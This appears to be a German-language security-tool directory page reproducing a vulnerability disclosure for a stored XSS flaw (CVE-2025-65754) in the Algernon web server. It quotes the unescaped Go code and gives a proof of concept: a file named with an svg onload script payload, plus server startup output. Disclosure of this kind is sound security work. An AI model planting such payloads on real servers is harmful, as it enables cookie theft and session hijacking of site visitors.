Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/bnyt7/cve-2025-65754
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubbnyt7/cve-2025-65754

CVE-2025-65754

Algernon v1.17.4 ist von einer Cross-Site Scripting (XSS)-Sicherheitslücke betroffen, die es Angreifern ermöglicht, beliebigen Code auszuführen, indem eine manipulierte Nutzlast in einen Dateinamen eingefügt wird.

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-65754 : Gespeichertes XSS in Algernon 1.17.4

Beschreibung

Algernon v1.17.4 ist von einer Cross-Site-Scripting (XSS)-Sicherheitslücke betroffen, die es Angreifern ermöglicht, über eine manipulierte Nutzlast in einem Dateinamen beliebigen Code auszuführen.

  • Betroffenes Projekt : Algernon - 1.17.4
  • Projektbetreuer : Alexander F. Rødseth (xyproto)
  • Sicherheitslückentyp : Cross-Site Scripting (XSS)
  • Angriffsvektor : Ein Angreifer könnte Dateien mit schädlichen Namen hochladen, um den Inhalt einer Website zu ändern oder Cookies zu stehlen, um Sitzungen zu übernehmen.

Einige Variablen wurden nicht bereinigt. Zum Beispiel :

engine/dirhandler.go Zeilen 80-108

root@kitploit:~

filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go Zeilen 124-132

root@kitploit:~
func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

Dateinamen aus dem Dateisystem werden ohne HTML-Escaping direkt in HTML eingefügt, und zwar in Verzeichnislisten.

PoC

root@kitploit:~
$ algernon -v                                  
Algernon 1.17.4

Erstellen Sie in einem Verzeichnis Dateien mit XSS-Nutzlasten als Namen.

root@kitploit:~
# XSS Payload 1: Simple alert
$touch "test.txt"

# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"

Führen Sie die Anwendung im selben Repository aus.

root@kitploit:~
algernon
root@kitploit:~
Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/      

Besuchen Sie die folgende URL, ein Alert wird erscheinen.

Alert XSS mit onerror

Alert XSS mit Dokumentenstandort

Dateien

Dieses Problem wurde nun in v1.17.5 behoben.

Referenzen

  • https://algernon.roboticoverlords.org/
  • https://github.com/xyproto/algernon/releases/tag/v1.17.5
  • https://github.com/xyproto/algernon/commit/cd8832014a624a9aeab60566434c3344135e23f8

Entdecker : Benoit H. (Bnyt7)

Tool herunterladen